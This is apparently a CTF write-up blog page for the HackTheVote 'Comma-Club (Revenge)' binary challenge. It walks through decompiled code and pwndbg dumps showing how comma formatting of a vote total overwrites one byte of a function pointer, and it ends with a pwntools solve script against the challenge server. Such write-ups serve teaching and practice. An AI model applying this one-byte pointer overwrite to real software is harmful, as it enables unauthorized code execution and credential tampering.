๐Ÿ“ƒ
Writeups
Blog
  • โ„น๏ธwhoami
  • ๐Ÿ‘ฉโ€๐Ÿ’ปBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • ๐ŸŽฎHackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • ๐Ÿ“„CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  1. CTF Writeups
  2. CTF Writeups
  3. HackTheVote

Comma-Club (Revenge)

One-Byte Overwrite over Function Pointer

Analysis

Both challenges (Revenge/Non Revenge) have the same (unintended?) solve.

Lets analyze the binary.

void __noreturn main_menu()
{
  int v0; // [rsp+4h] [rbp-Ch]
  unsigned __int64 i; // [rsp+8h] [rbp-8h]

  puts("Welcome to the Wyoming Vote Tallying Software\nPresented by Jeff!");
  while ( 1 )
  {
    while ( 1 )
    {
      v0 = menu(
             "Please select an option:\n"
             "1) Enter votes for a candidate\n"
             "2) View current vote totals\n"
             "3) Close voting and display the winner (requires password)\n"
             "4) Change password (requires password)\n"
             "> ",
             "Incorrect value, try again\n> ",
             5LL);
      if ( v0 != 4 )
        break;
      if ( (unsigned int)check_password() )
        set_new_password();
    }
    if ( v0 > 4 )
    {
LABEL_18:
      puts("This should be unreachable, so there's nothing here. Congrats for finding it though!");
    }
    else if ( v0 == 3 )
    {
      if ( (unsigned int)check_password() )
        close_voting();
    }
    else
    {
      if ( v0 > 3 )
        goto LABEL_18;
      if ( v0 == 1 )
      {
        add_votes_menu();
      }
      else
      {
        if ( v0 != 2 )
          goto LABEL_18;
        for ( i = 0LL; i < num_cands; ++i )
        {
          print_status(cand_array + (i << 6));
          puts(byte_3449);
        }
      }
    }
  }
}

To summarize, there is a close_voting() function which will give us a shell but we first require to pass the check_password().

Three structs of 64 bytes each are also initialized upon start of the program which roughly have this format.

struct Candidate{
    char name[32];       // Name of the candidate (up to 31 chars + null terminator)
    char status;         // Status byte (1 byte)
    char padding[15];    // Padding to make the struct align to 64 bytes
    unsigned long long votes;      // Votes (8 bytes, adjust if needed)
    void (*vote_printer_selector)(void); // Function pointer for vote printing (8 bytes)
}

The main part is to focus on the votes and vote_printer_selection ptr.

Upon manually debugging, I noticed that if my total votes is above 1,000,000, i would get a segfault.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555435 in vote_printer_selector ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ REGISTERS / show-flags off / show-compact-regs off ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
*RAX  0x55555555c2a0 โ—‚โ€” 0x6c61746ff4
 RBX  0x0
 RCX  0x0
*RDX  0x555555555433 (vote_printer_selector+51) โ—‚โ€” add byte ptr [rax], al
*RDI  0x55555555c2a0 โ—‚โ€” 0x6c61746ff4
*RSI  0xf
*R8   0x1999999999999999
 R9   0x0
*R10  0x7ffff7dbeac0 โ—‚โ€” 0x100000000
 R11  0x0
*R12  0x7fffffffe3f8 โ€”โ–ธ 0x7fffffffe78c โ—‚โ€” '/home/kali/Desktop/Practice/HackTheVote/comma-club/challenge_patched'
*R13  0x555555555c07 (main) โ—‚โ€” endbr64 
*R14  0x555555558d60 (__do_global_dtors_aux_fini_array_entry) โ€”โ–ธ 0x555555555280 (__do_global_dtors_aux) โ—‚โ€” endbr64 
*R15  0x7ffff7ffd040 (_rtld_global) โ€”โ–ธ 0x7ffff7ffe2e0 โ€”โ–ธ 0x555555554000 โ—‚โ€” 0x10102464c457f
*RBP  0x7fffffffe2b0 โ€”โ–ธ 0x7fffffffe2d0 โ€”โ–ธ 0x7fffffffe2e0 โ—‚โ€” 0x1
*RSP  0x7fffffffe288 โ€”โ–ธ 0x555555555df6 (print_status+224) โ—‚โ€” nop 
*RIP  0x555555555435 (vote_printer_selector+53) โ—‚โ€” add byte ptr [rax + 0xff3c3c9], dl
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ DISASM / x86-64 / set emulate on ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
   0x555555555433 <vote_printer_selector+51>    add    byte ptr [rax], al
 โ–บ 0x555555555435 <vote_printer_selector+53>    add    byte ptr [rax + 0xff3c3c9], dl









โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ STACK ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
00:0000โ”‚ rsp 0x7fffffffe288 โ€”โ–ธ 0x555555555df6 (print_status+224) โ—‚โ€” nop 
01:0008โ”‚     0x7fffffffe290 โ€”โ–ธ 0x7fffffff0061 โ—‚โ€” 0x0
02:0010โ”‚     0x7fffffffe298 โ€”โ–ธ 0x55555555c2a0 โ—‚โ€” 0x6c61746ff4
03:0018โ”‚     0x7fffffffe2a0 โ—‚โ€” 0x7a12000000003
04:0020โ”‚     0x7fffffffe2a8 โ—‚โ€” 0x3
05:0028โ”‚ rbp 0x7fffffffe2b0 โ€”โ–ธ 0x7fffffffe2d0 โ€”โ–ธ 0x7fffffffe2e0 โ—‚โ€” 0x1
06:0030โ”‚     0x7fffffffe2b8 โ€”โ–ธ 0x5555555560d2 (main_menu+164) โ—‚โ€” lea rax, [rip + 0x1370]
07:0038โ”‚     0x7fffffffe2c0 โ—‚โ€” 0x2ffffe2e0
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ BACKTRACE ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 โ–บ 0   0x555555555435 vote_printer_selector+53
   1   0x5555555560d2 main_menu+164
   2   0x555555555d0f main+264
   3   0x7ffff7c29d90
   4   0x7ffff7c29e40 __libc_start_main+128
   5   0x555555555205 _start+37
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
<snip ...>
0x55555555c2a0  0x0000006c61746ff4      0x0000000000000000      .otal...........
0x55555555c2b0  0x0000000000000000      0x0000000000000000      ................
0x55555555c2c0  0x001e848300000020      0x2020202020202020       .......        
0x55555555c2d0  0x30302c3030302c32      0x0000555555555433      2,000,003TUUUU..
0x55555555c2e0  0x20646572666c6957      0x00736977654c204a      Wilfred J Lewis.
0x55555555c2f0  0x0000000000000000      0x0000000000000000      ................
0x55555555c300  0x000f424100000053      0x0000000000000000      S...AB..........
0x55555555c310  0x0000000000000000      0x0000555555555400      .........TUUUU..
0x55555555c320  0x657474656e61654a      0x6374736557204420      Jeanette D Westc
0x55555555c330  0x000000000074746f      0x0000000000000000      ott.............
0x55555555c340  0x000f424200000054      0x0000000000000000      T...BB..........
0x55555555c350  0x0000000000000000      0x0000555555555400      .........TUUUU..
0x55555555c360  0x0000000000000000      0x0000000000020ca1      ................         <-- Top chunk

Upon further inspection, we see that we have successfully override the lsb of the function ptr in total!

Lets break it down to how that happens

  • Vote Conversion: Votes are converted using strtol, which interprets each byte as an integer value. The 8-byte space can hold up to 8 digits.

  • Print Function: The print_status function calls print_int_with_commas to calculate and display the total votes by adding both candidates' votes.

  • Comma Insertion: Commas are added between every 3 digits in the total. This formatting causes the displayed total to exceed the 8-byte limit when the vote count is high.

  • Overflow Risk: Since the formatted output (with commas) can exceed 8 characters, the overflow can overwrite the least significant byte (LSB) of the total structโ€™s vote_printor_selector.

  • Exploitation Opportunity: By manipulating the vote inputs to exceed the digit limit, we can potentially call a different function by overwriting the last byte to a nearby function (change_password)

We can see this in action where if we change the last byte to 0x39 which is equivalent to '9' in string, we can redirect execuution to change_password!

pwndbg> x/10gx 0x0000555555555430
0x555555555430 <vote_printer_selector+48>:      0xc99000000076e8c7      0x894855fa1e0ff3c3
0x555555555440 <change_password_to+7>:  0x7d894820ec8348e5      0x000000f845c748e8
0x555555555450 <change_password_to+23>: 0x3c06158d4816eb00      0x0148f8458b480000
0x555555555460 <change_password_to+39>: 0xf84583480000c6d0      0xe3760ff87d834801
0x555555555470 <change_password_to+55>: 0x000010bee8458b48      0xfffcefe8c7894800
pwndbg> x/10gx 0x0000555555555439
0x555555555439 <change_password_to>:    0xe5894855fa1e0ff3      0xe87d894820ec8348
0x555555555449 <change_password_to+16>: 0x00000000f845c748      0x003c06158d4816eb
0x555555555459 <change_password_to+32>: 0xd00148f8458b4800      0x01f84583480000c6
0x555555555469 <change_password_to+48>: 0x48e3760ff87d8348      0x00000010bee8458b
0x555555555479 <change_password_to+64>: 0xfffffcefe8c78948      0x48e8458b48c28948

We can see that by default, the password that will be changed is the value in $RDI which is the string 'Total'.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ REGISTERS / show-flags off / show-compact-regs off ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
*RAX  0x555555559060 (password) โ—‚โ€” 0x0
 RBX  0x0
 RCX  0x0
*RDX  0x5
*RDI  0x555555559060 (password) โ—‚โ€” 0x0
*RSI  0x55555555c2a0 โ—‚โ€” 0x6c61746f54 /* 'Total' */
*R8   0x8e
 R9   0x0
*R10  0x55555555c280 โ—‚โ€” 0x0
*R11  0x55555555c2b0 โ—‚โ€” 0x0
 R12  0x7fffffffe3f8 โ€”โ–ธ 0x7fffffffe78c โ—‚โ€” '/home/kali/Desktop/Practice/HackTheVote/comma-club/challenge_patched'
 R13  0x555555555c07 (main) โ—‚โ€” endbr64 
 R14  0x555555558d60 (__do_global_dtors_aux_fini_array_entry) โ€”โ–ธ 0x555555555280 (__do_global_dtors_aux) โ—‚โ€” endbr64 
 R15  0x7ffff7ffd040 (_rtld_global) โ€”โ–ธ 0x7ffff7ffe2e0 โ€”โ–ธ 0x555555554000 โ—‚โ€” 0x10102464c457f
*RBP  0x7fffffffe280 โ€”โ–ธ 0x7fffffffe2b0 โ€”โ–ธ 0x7fffffffe2d0 โ€”โ–ธ 0x7fffffffe2e0 โ—‚โ€” 0x1
*RSP  0x7fffffffe260 โ—‚โ€” 0x7
*RIP  0x555555555495 (change_password_to+92) โ—‚โ€” call 0x5555555551a0
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ DISASM / x86-64 / set emulate on ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 โ–บ 0x555555555495 <change_password_to+92>     call   memcpy@plt                <memcpy@plt>
        dest: 0x555555559060 (password) โ—‚โ€” 0x0
        src: 0x55555555c2a0 โ—‚โ€” 0x6c61746f54 /* 'Total' */
        n: 0x5
 

Below is the solve.

from pwn import *

# Establish the remote connection
p = remote("comma-club.chal.hackthe.vote", 1337)
context.log_level = 'debug'

def send_input(prompt, message):
    p.recvuntil(prompt)
    p.sendline(message)

send_input(b'> ', b'1')
send_input(b'> ', b'1')
send_input(b'> ', b'500000')
send_input(b'> ', b'2')
send_input(b'> ', b'500009')
send_input(b'> ', b'3')
send_input(b'> ', b'2')
send_input(b'> ', b'3')
send_input(b'> ', b'Total')

p.interactive()
PreviousHackTheVoteNextHeroCTF 2024

Last updated 6 months ago

๐Ÿ“„